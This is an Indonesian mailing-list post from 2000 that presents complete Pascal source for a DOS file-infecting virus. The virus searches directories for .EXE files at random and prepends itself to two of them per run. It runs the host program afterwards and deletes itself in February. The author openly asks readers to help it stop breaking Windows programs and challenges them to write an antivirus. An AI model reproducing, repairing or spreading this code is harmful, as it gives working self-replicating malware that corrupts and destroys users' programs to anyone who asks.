[MATEMATIKA] Bikin Virus Yuk ?

Wed, 15 Mar 2000 04:27:20 -0800

Kalau pada umumnya virus dibuat dengan assembly maka virus ini kubuat
dengan pascal, dan samasekali tidak mengandung kode-kode assembly.
Virus ini mampu menulari program exe lain secara acak, dan program DOS
yang
ditulari juga dapat berjalan seperti biasa, tapi aplikasi-aplikasi
windows
tidak dapat dijalankan setelah ditulari. Mungkin ada yang mampu
memecahkan
masalah diatas?
Selain itu juga ukurannya yang terlalu gedhe untuk ukuran virus, jadi
mungkin lebih tepat kalau dinamai bakteri.
 Saya tantang saudara2 untuk bikin anti virusnya ?

----------------------------------------------------------------------------
-------------------------------------------------------
uses crt,dos;
const ukuran=7776;{ukuran program virus}
{Jangan lupa mengganti nilai constanta ini pada setiap modifikasi}
var
jumdir,jumexe:integer;
dirinfo:searchrec;
var count:integer;
f,g,h:file;
buf:array[1..ukuran] of char;
r,p,st,z:string;
numread,numwrite:word;
Function acakstring:string;
{menghasilkan string yang jumlah dan karakternya acak}
var a,b:shortint;
s:string;
begin
 a:=random(6)+1;
 s:='';
 for b:=1 to a do s:=s+chr(random(26)+65);
 acakstring:=s;
end;
Procedure pisah;
{Untuk memisahkan file exe menjadi dua bagian yaitu program virus dan
program
asli}
begin
{$I-}
 assign(f,paramstr(0));{Program yang dijalankan}
 assign(g,st);{Program virus}
 z:=acakstring;
 assign(h,z);{Program sesungguhnya}
 reset(f,1);
 rewrite(g,1);
 rewrite(h,1);
 blockread(f,buf,sizeof(buf),numread);
 blockwrite(g,buf,numread,numwrite);
 repeat
  blockread(f,buf,sizeof(buf),numread);
  blockwrite(h,buf,numread,numwrite);
 until (numread=0) or (numread<>numwrite);
 close(h);
end;
Procedure execute;
{untuk mengeksekusi program asli yang telah dipisahkan oleh procedure
pisah}
begin
  {$M 65520,0,0}
 clrscr;
 getdir(0,r);
 if length(r)>3 then r:=r+'\';
 swapvectors;
 exec(r+z,'');
 swapvectors;
end;
Procedure hitung(var jumdir,jumexe:integer);
{Untuk menghitung jumlah directory dan jumlah file exe dalam satu
direktory}
begin
 jumdir:=0;
 jumexe:=0;
 findfirst('*.*',directory,dirinfo);
 while doserror=0 do begin
  if (dirinfo.name<>'.') and (dirinfo.name<>'..')and
(dirinfo.attr=directory)then inc(jumdir) else
  if (copy(dirinfo.name,length(dirinfo.name)-3,4)='.EXE') and
(dirinfo.name<>paramstr(0)) then inc(jumexe);
  findnext(dirinfo);
 end;
end;
Function cariexe:string;
{untuk mencari file exe yang akan ditulari}
label loop;
begin
  cariexe:='';
loop:
 getdir(0,r);
 hitung(jumdir,jumexe);
 if (jumdir=0) and (jumexe=0) then exit;
 findfirst('*.*',anyfile,dirinfo);
 while doserror=0 do begin
  if (dirinfo.name<>'.') and (dirinfo.name<>'..')and
(dirinfo.attr=directory)and(random(jumdir)=0)then begin
   chdir(dirinfo.name);
   goto loop;
  end  else
  if (copy(dirinfo.name,length(dirinfo.name)-3,4)='.EXE')
and(random(jumexe)=0)
  and (dirinfo.name<>paramstr(0)) then begin
    if length(r)>3 then cariexe:=r+'\'+dirinfo.name else
cariexe:=r+dirinfo.name;
    exit;
   end;
   findnext(dirinfo);
  end;
  end;
Procedure tular(r:string);
{untuk menulari file exe}
var s,m:string;
l:file;
begin
 {$I-}
  {$M 65520,0,0}
 chdir(p);
 assign(l,r);
 m:=acakstring;
 rename(l,m);
 s:='copy /b '+st+'+'+m+' '+r+'>nul';
 SwapVectors;
 Exec(GetEnv('COMSPEC'), '/C '+s);
 SwapVectors;
 close(l);
 assign(l,m);
 erase(l);
end;
Procedure cekdate;
{Bila dijalankan pada bulan Februari,
virus akan menghapus dirinya sendiri dan program asli}
var a,b,c,d:word;
begin
 getdate(a,b,c,d);
 if b=2 then begin
  assign(f,paramstr(0));
  erase(f);
  halt;
 end;
end;
begin
 cekdate;
 randomize;
 st:=acakstring;
 pisah;
 count:=0;
 getdir(0,p);
 chdir(copy(p,1,3));
 hitung(jumdir,jumexe);
 if (jumdir=0) then if (jumexe=0) then count:=2 else if (jumexe<2) then
count:=1;
 while count<2 do begin{menginfeksi sebanyak dua kali}
  chdir(copy(p,1,3));
  r:=cariexe;
  if r<>'' then begin
   inc(count);
   tular(r);
  end;
  end;
 execute;
 if length(p)>3 then p:=p+'\'+z else p:=p+z;
 assign(h,p);
 erase(h);    {menghapus file temporary}
 erase(g);
 delay(1050);
end.

Kirim email ke